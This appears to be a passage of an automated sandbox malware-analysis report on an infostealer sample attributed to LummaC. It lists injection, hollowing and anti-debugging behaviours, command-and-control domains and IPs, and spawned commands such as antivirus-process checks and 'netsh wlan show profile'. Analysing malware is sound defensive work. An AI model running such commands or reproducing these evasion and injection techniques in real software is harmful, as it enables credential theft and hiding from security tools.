Source: explorer.exe, 00000001.00000000.1695312230.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: explorer.exe, 00000001.00000000.1695312230.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1695312230.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, InstallUtil.exe, 0000001A.00000002.2395264074.0000000000AFA000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000001A.00000002.2397253515.0000000000B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2994847492.0000021A2C458000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.2991829562.0000021A2B02B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 1600.tmp, 00000029.00000002.2988575910.000000000070E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: explorer.exe, 00000001.00000000.1695827674.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: csrss.exe, 00000026.00000002.2992253110.0000000000C00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllc:
Source: explorer.exe, 00000001.00000000.1693195889.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: explorer.exe, 00000001.00000000.1691821298.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000001.00000000.1695312230.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: explorer.exe, 00000001.00000000.1698160948.000000000CA7C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}\
Source: Far.pif, 00000015.00000003.2172006287.00000260E119E000.00000004.00000020.00020000.00000000.sdmp, Far.pif, 00000015.00000002.2175273355.00000260E119E000.00000004.00000020.00020000.00000000.sdmp, 4577.exe, 00000018.00000002.2990544999.00000000009B8000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000002A.00000002.2787795709.0000000001608000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 00000001.00000000.1691821298.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\987123.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\987123.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\987123.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ufhjbuw	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ufhjbuw	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\5390.exe	System information queried: CodeIntegrityInformation

Source: C:\Users\user\Desktop\987123.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\2DF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\2DF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\5390.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D0D1B2C BlockInput,

21_2_00007FF73D0D1B2C

Source: C:\Users\user\AppData\Local\Temp\3BD2.exe

Code function: 8_2_0041A585 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

8_2_0041A585

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D066140 GetLastError,IsDebuggerPresent,OutputDebugStringW,

21_2_00007FF73D066140

Source: C:\Users\user\Desktop\987123.exe

Code function: 0_2_0040D915 LoadLibraryA,GetProcAddress,InterlockedExchange,FreeLibrary,

0_2_0040D915

Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_0072092B mov eax, dword ptr fs:[00000030h]	0_2_0072092B
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_00720D90 mov eax, dword ptr fs:[00000030h]	0_2_00720D90
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_0080FA7A push dword ptr fs:[00000030h]	0_2_0080FA7A
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_004C092B mov eax, dword ptr fs:[00000030h]	3_2_004C092B
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_004C0D90 mov eax, dword ptr fs:[00000030h]	3_2_004C0D90
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_006EF23A push dword ptr fs:[00000030h]	3_2_006EF23A
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_0041E059 mov eax, dword ptr fs:[00000030h]	8_2_0041E059
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_0041E014 mov eax, dword ptr fs:[00000030h]	8_2_0041E014
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_0041BE96 mov eax, dword ptr fs:[00000030h]	8_2_0041BE96
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Code function: 13_2_027350A3 push dword ptr fs:[00000030h]	13_2_027350A3
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Code function: 13_2_028F0042 push dword ptr fs:[00000030h]	13_2_028F0042

Source: C:\Users\user\AppData\Local\Temp\3BD2.exe

Code function: 8_2_0041FD9D GetProcessHeap,

8_2_0041FD9D

Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_0040F997 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0040F997
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_0040F997 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0040F997
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_0041A8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_0041A8A0
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_0041A585 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0041A585
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_0041CE21 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0041CE21
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_0041A6EA SetUnhandledExceptionFilter,	8_2_0041A6EA
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D065D6C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00007FF73D065D6C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D065F50 SetUnhandledExceptionFilter,	21_2_00007FF73D065F50
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D089574 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_00007FF73D089574
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D07B408 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00007FF73D07B408

Source: C:\Users\user\AppData\Local\Temp\9D1E.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: 1600.exe.1.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 5.42.66.0 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 109.175.29.39 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.215.85.120 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.21.26.173 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.104.83.7 80	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\9D1E.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\4577.exe

Code function: 13_2_028F0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

13_2_028F0110

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\987123.exe	Thread created: C:\Windows\explorer.exe EIP: 3161A88	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Thread created: unknown EIP: 3441A88	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Thread created: unknown EIP: 87C1A88
Source: C:\Users\user\AppData\Local\Temp\5390.exe	Thread created: unknown EIP: 3421A30

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\4577.exe	Memory written: C:\Users\user\AppData\Local\Temp\4577.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Memory written: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif base: 233E02F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\Drivers\csrss.exe	Memory written: C:\ProgramData\Drivers\csrss.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: 9D1E.exe, 00000019.00000002.2302320871.0000000003974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: blastechohackopeower.pw
Source: 9D1E.exe, 00000019.00000002.2302320871.0000000003974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: goddirtybrilliancece.fun
Source: 9D1E.exe, 00000019.00000002.2302320871.0000000003974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: drownthinsaltroutese.pw

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\987123.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\987123.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read
Source: C:\Users\user\AppData\Local\Temp\5390.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\5390.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Thread register set: target process: 2936

Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\9D1E.exe

Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 45B000
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 45F000
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 481000
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 731008
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 456000
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 458000
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 11F5008

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D0ADAC8 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

21_2_00007FF73D0ADAC8

Source: C:\Users\user\AppData\Local\Temp\3BD2.exe

Code function: 8_2_004025A9 ShowWindow,BringWindowToTop,ShellExecuteExW,WaitForSingleObject,CloseHandle,

8_2_004025A9

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D0BA0F8 SendInput,keybd_event,

21_2_00007FF73D0BA0F8

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D0D5D84 GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

21_2_00007FF73D0D5D84

Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k cmd < Advancement & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c mkdir 15372	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Zoo + Viewers + Bow + Contractors + Protection + Desk + Kinds 15372\Far.pif	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Payday + Corporate + Spain 15372\i	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif 15372\Far.pif 15372\i	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Process created: C:\Users\user\AppData\Local\Temp\4577.exe C:\Users\user\AppData\Local\Temp\4577.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2736 -ip 2736
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2736 -s 1160
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5968 -ip 5968
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5968 -s 500
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe XXX
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D0AD25C GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

21_2_00007FF73D0AD25C

Source: C:\Users\user\AppData\Local\Temp\3BD2.exe

Code function: 8_2_0040493F AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

8_2_0040493F

Source: explorer.exe, 00000001.00000000.1693037249.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1695312230.0000000009815000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1692042587.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.1692042587.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.1691821298.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000001.00000000.1692042587.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000001.00000000.1692042587.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\AppData\Local\Temp\3BD2.exe

Code function: 8_2_0041A0B0 cpuid

8_2_0041A0B0

Source: C:\Users\user\Desktop\987123.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_00410850
Source: C:\Users\user\Desktop\987123.exe	Code function: ___getlocaleinfo,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,	0_2_0041147B
Source: C:\Users\user\Desktop\987123.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_004108BC
Source: C:\Users\user\Desktop\987123.exe	Code function: GetLocaleInfoA,	0_2_00417D72
Source: C:\Users\user\Desktop\987123.exe	Code function: _LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	0_2_00412E41
Source: C:\Users\user\Desktop\987123.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetACP,	0_2_00412A4C
Source: C:\Users\user\Desktop\987123.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,___crtGetLocaleInfoA,___crtGetLocaleInfoW,	0_2_0040DA1D
Source: C:\Users\user\Desktop\987123.exe	Code function: GetLocaleInfoW,	0_2_0041068E
Source: C:\Users\user\Desktop\987123.exe	Code function: _LocaleUpdate::_LocaleUpdate,GetLocaleInfoW,	0_2_004106A7
Source: C:\Users\user\Desktop\987123.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	0_2_00410F5D
Source: C:\Users\user\Desktop\987123.exe	Code function: _LcidFromHexString,GetLocaleInfoA,	0_2_00412B63
Source: C:\Users\user\Desktop\987123.exe	Code function: EnumSystemLocalesA,	0_2_00412F05
Source: C:\Users\user\Desktop\987123.exe	Code function: GetLastError,WideCharToMultiByte,__freea,GetLocaleInfoA,	0_2_00410711
Source: C:\Users\user\Desktop\987123.exe	Code function: _GetPrimaryLen,EnumSystemLocalesA,	0_2_00412F2E
Source: C:\Users\user\Desktop\987123.exe	Code function: _TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,__itoa_s,	0_2_00412FD1
Source: C:\Users\user\Desktop\987123.exe	Code function: GetLocaleInfoA,_LcidFromHexString,_GetPrimaryLen,	0_2_00412BFB
Source: C:\Users\user\Desktop\987123.exe	Code function: _GetPrimaryLen,EnumSystemLocalesA,	0_2_00412F95
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_00410850
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: ___getlocaleinfo,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,	3_2_0041147B
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	3_2_004108BC
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: GetLocaleInfoA,	3_2_00417D72
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: _LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	3_2_00412E41
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: GetLocaleInfoA,GetLocaleInfoA,GetACP,	3_2_00412A4C
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,___crtGetLocaleInfoA,___crtGetLocaleInfoW,	3_2_0040DA1D
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: GetLocaleInfoW,	3_2_0041068E
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: _LocaleUpdate::_LocaleUpdate,GetLocaleInfoW,	3_2_004106A7
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	3_2_00410F5D
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: _LcidFromHexString,GetLocaleInfoA,	3_2_00412B63
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: EnumSystemLocalesA,	3_2_00412F05
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: GetLastError,WideCharToMultiByte,__freea,GetLocaleInfoA,	3_2_00410711
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: _GetPrimaryLen,EnumSystemLocalesA,	3_2_00412F2E
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: _TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,__itoa_s,	3_2_00412FD1
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: GetLocaleInfoA,_LcidFromHexString,_GetPrimaryLen,	3_2_00412BFB
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: _GetPrimaryLen,EnumSystemLocalesA,	3_2_00412F95
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetLastError,GetEnvironmentVariableW,GetLastError,lstrcmpiW,SetLastError,lstrlenA,GetLocaleInfoW,MultiByteToWideChar,	8_2_004041E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\4577.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9D1E.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
